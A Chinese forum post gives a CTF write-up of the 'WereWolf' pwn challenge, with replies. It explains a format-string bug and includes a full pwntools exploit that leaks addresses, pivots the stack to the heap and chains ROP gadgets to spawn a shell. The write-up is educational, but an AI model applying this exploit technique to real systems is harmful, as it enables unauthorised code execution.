首页
社区
课程
招聘
[原创]Pwn-WereWolf
2018-1-16 16:05 7127

[原创]Pwn-WereWolf

2018-1-16 16:05
7127

宣传一下自己的blog:
http://tacxingxing.com/2018/01/10/icq2018christmaspwnwerewolf/
希望大佬们轻喷。

 

题目地址:WereWolf-250

reverse

➜  workspace file werewolf
werewolf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=017d1e3c242c96d9c9073c650e91c531d53749ec, stripped
➜  workspace checksec werewolf
[*] '/mnt/hgfs/Binary/CTF/Shooting/ichun/Pwn/Were_wolf_250/workspace/workspace/werewolf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Binary开启了NX与Canary
题目中没有提供libc,所以不要妄想找到题目的libc,肯定需要用无libc的方式.
首先逆向分析题目:
题目模拟了"狼人杀"-Werewolf这款游戏,其中每个role-角色都建立一个action存储用户的行为。

 

在heap上建立了一个存储rope的list,分别储存*action与action的length。
共有一下四种操作:

  1. add: 增加一个role
  2. edit: 编辑已有的role的action
  3. show:打印一个已有的role的action
  4. kill:删除一个已有的role
  5. edit: 打印bye~后退出

整体来说题目流程是比较清晰的,不难逆向。

vulnerability

漏洞触发在show函数中,是一个比较容易发现的格式化字符串漏洞

 

图片描述
原本在2月场中在kill中出现的double-free被修补

 

图片描述

 

利用该format string,因为我们可以无限次地edit一个role,再通过show打印出来触发漏洞
从而我们拥有了无限读写的能力 no limit read or write.

 

我们不考虑确定libc的地址,因为ichun之前题目的环境也是比较..,从来找不到确定的libc版本,所以考虑ret2syscall,通过泄露的一个libc地址确定syscall的地址,再通过stack pivot到heap中ret2syscall rop,最后spawn shell。
这里需要解决几个问题:

  • syscall地址 : 可以通过读write地址的,计算偏移得到syscall的地址
    图片描述
  • heap地址:通过printf前的stack结构,将0x6020A8写入栈,并通过foramtstring入出heap的地址
  • 如何stack-pivot:首先需要劫持rbp为heap地址,之后通过leave等改变rsp,从而进行栈偏移
  • 如何Rop:利用万能的init中的RopGadgtes
.text:0000000000400DB0                 mov     rdx, r13
.text:0000000000400DB3                 mov     rsi, r14
.text:0000000000400DB6                 mov     edi, r15d
.text:0000000000400DB9                 call    qword ptr [r12+rbx*8]
.text:0000000000400DBD                 add     rbx, 1
.text:0000000000400DC1                 cmp     rbp, rbx
.text:0000000000400DC4                 jnz     short loc_400DB0
.text:0000000000400DC6
.text:0000000000400DC6 loc_400DC6:                             ; CODE XREF: init+34↑j
.text:0000000000400DC6                 add     rsp, 8
.text:0000000000400DCA                 pop     rbx
.text:0000000000400DCB                 pop     rbp
.text:0000000000400DCC                 pop     r12
.text:0000000000400DCE                 pop     r13
.text:0000000000400DD0                 pop     r14
.text:0000000000400DD2                 pop     r15
.text:0000000000400DD4                 retn

scenario

最终的exp基本是按照上述的思路进行:

  1. 通过泄露write_addr,进行偏移计算得到syscall的地址
  2. 泄露stack地址,为format-string打栈做准备
  3. 泄露heap地址
  4. 修改栈中value,将stack-pivot的目标heap地址写入栈中
  5. 修改两处返回地址,如下图,进行Rop
  6. 顺利劫持程序流后,通过Ropgagtes 执行read(0,elf.bss,0x3B)后令eax=0x3b,并将“/bin/sh”写入
  7. 再次通过Ropgagtes执行execve("/bin/sh",NULL,NULL)Spawn shell

    图片描述

最后,在写入栈中,我们用show函数中的rbp地址作为跳板,向栈中写入数据。
为了防止通信数据量过大造成阻塞,exp中全部用的%hhn进行写入。
注意通过rbp跳板向栈中写value要从高地址向低地址写,这是由于程序本身造成的,调试可见端倪,不再赘述。

#/usr/env/bin python
#-*- coding: utf-8 -*- 
from pwn import *
import sys

def add(size,content):
    io.sendlineafter('5.Exit\n',str(1))
    io.sendlineafter('inputs your size:\n',str(size))
    io.sendafter('Input your action:\n',content)

def show(id):
    io.sendlineafter('5.Exit\n',str(2))
    io.sendlineafter('Input your id\n',str(id))

def edit(id,content):
    io.sendlineafter('5.Exit\n',str(3))
    io.sendlineafter('Input your id\n',str(id))
    io.sendafter('Input your new action\n',content)

def kill(id):
    io.sendlineafter('5.Exit\n',str(4))
    io.sendlineafter('Input your id\n',str(id))

def cycle(number):
    if number>20:
        return number
    else:
        number = number+0x100
        return number

def exploit():
    log.info('leak libc syscall stack......')
    bss_addr = 0x6020A8
    add(0x30,'%3$p\t%12$p\t\n') 
    show(0)
    io.recvuntil('action : ')
    syscall = int(io.recvuntil('\t',drop=True),16)-0x2
    log.info('syscall_addr:'+hex(syscall))
    stack = int(io.recvuntil('\t',drop=True),16)
    log.info('stack_addr:'+hex(stack))
    temp = stack+0x20

    log.info('leak heap address......')
    payload = '%'+str(cycle((temp&0xff)+0x2))+'d%12$hhn\n'
    edit(0,payload)
    show(0)
    payload = '%'+str(cycle(((bss_addr>>16)&0xff)))+'d%14$hhn\n'
    edit(0,payload)
    show(0)
    payload = '%'+str(cycle((temp&0xff)+0x1))+'d%12$hhn\n'
    edit(0,payload)
    show(0)
    payload = '%'+str(cycle(((bss_addr>>8)&0xff)))+'d%14$hhn\n'
    edit(0,payload)
    show(0)
    payload = '%'+str(cycle(temp&0xff))+'d%12$hhn\n'
    edit(0,payload)
    show(0)
    payload = '%'+str(cycle((bss_addr)&0xff))+'d%14$hhn\n'
    edit(0,payload)
    show(0)

    payload = '%18$s\n'
    edit(0,payload)
    show(0)
    io.recvuntil('action : ')
    heap_base = u32(io.recvuntil('\n',drop=True).ljust(0x4,"\x00"))-0x10
    log.info('heap_base:'+hex(heap_base))

    log.debug("fake stack-pivot's stack.......") 
    payload = p64(0)+p64(0x400DCA)+p64(0)+p64(1)+p64(elf.got['read'])
    payload += p64(0x3B)+p64(0x6020B0)+p64(0)+p64(0x400DB0)
    payload += p64(0)+p64(0)+p64(1)+p64(0x6020b8)
    payload += p64(0)+p64(0)+p64(0x6020b0)+p64(0x400DB0)
    add(0x150,payload+'\n')

    log.info("rop2.....")
    temp = temp+0x28
    rop2 = 0x400C8E 
    payload = '%'+str(cycle((temp&0xff)))+'d%12$hhn\n'
    edit(0,payload)
    show(0)
    payload = '%'+str(cycle(rop2&0xff))+'d%14$hhn\n'
    edit(0,payload)
    show(0)

    log.debug("change rbp address......")
    pivot_address = heap_base+0xf0

    temp = stack+0x20
    payload = '%'+str(cycle((temp&0xff)+0x3))+'d%12$hhn\n'
    edit(0,payload)
    show(0)
    payload = '%'+str(cycle(((pivot_address>>24)&0xff)))+'d%14$hhn\n'
    edit(0,payload)
    show(0)
    payload = '%'+str(cycle((temp&0xff)+0x2))+'d%12$hhn\n'
    edit(0,payload)
    show(0)
    payload = '%'+str(cycle(((pivot_address>>16)&0xff)))+'d%14$hhn\n'
    edit(0,payload)
    show(0)
    payload = '%'+str(cycle((temp&0xff)+0x1))+'d%12$hhn\n'
    edit(0,payload)
    show(0)
    payload = '%'+str(cycle(((pivot_address>>8)&0xff)))+'d%14$hhn\n'
    edit(0,payload)
    show(0)
    payload = '%'+str(cycle(temp&0xff))+'d%12$hhn\n'
    edit(0,payload)
    show(0)
    payload = '%'+str(cycle((pivot_address)&0xff))+'d%14$hhn\n'
    edit(0,payload)
    show(0)

    log.info("rop1......") 
    temp = stack+0x8
    rop1 = 0x400DC6 
    payload = '%'+str(cycle((temp&0xff)))+'d%12$hhn\n'
    edit(0,payload)
    show(0)
    payload = '%'+str(cycle((rop1)&0xff))+'d%14$hhn\n'
    edit(0,payload)
    show(0)

    log.info('layout .bss......')
    payload = '/bin/sh\x00'+p64(syscall)
    payload = payload.ljust(0x3B,'A')
    io.send(payload)

    io.interactive()

if __name__ == "__main__":
    context.binary = "./werewolf"
    context.terminal = ['tmux','sp','-h']
    #context.log_level = 'debug'
    elf = ELF('./werewolf')
    if len(sys.argv)>1:
        io = remote(sys.argv[1],sys.argv[2])
        exploit()
    else:
        io = process('./werewolf')
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        exploit()

结果:
图片描述


[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

最后于 2019-2-1 16:20 被admin编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (6)
雪    币: 201
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
Ovie 2018-1-17 21:23
2
0

有个问题想请教下,cycle()函数的作用是什么
雪    币: 236
活跃值: (155)
能力值: ( LV8,RANK:137 )
在线值:
发帖
回帖
粉丝
TacXingXing 2018-1-17 23:25
3
0
用格式化字符串%hhn写地址时,假设想写成0x4,但是打印的字符数本身就超过4个,就需要写256+4=260个溢出后写入0x4,这就是cycle()函数的作用,嗯,其实就是一个取模运算
雪    币: 201
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
Ovie 2018-1-18 09:24
4
0
TacXingXing 用格式化字符串%hhn写地址时,假设想写成0x4,但是打印的字符数本身就超过4个,就需要写256+4=260个溢出后写入0x4,这就是cycle()函数的作用,嗯,其实就是一个取模运算
懂了 谢谢:)
雪    币: 7
活跃值: (180)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
某字哮天 2018-1-18 10:05
5
0
老哥现在做什么工作的,看你博客挺高产,佩服的很。
雪    币: 206
活跃值: (98)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
星星当空照 2018-1-18 10:43
6
0
支持下
雪    币: 236
活跃值: (155)
能力值: ( LV8,RANK:137 )
在线值:
发帖
回帖
粉丝
TacXingXing 2018-1-18 10:44
7
0
哈哈,不是不工作才会有时间写博客,搞乱七八糟的嘛,我还是学生
游客
登录 | 注册 方可回帖
返回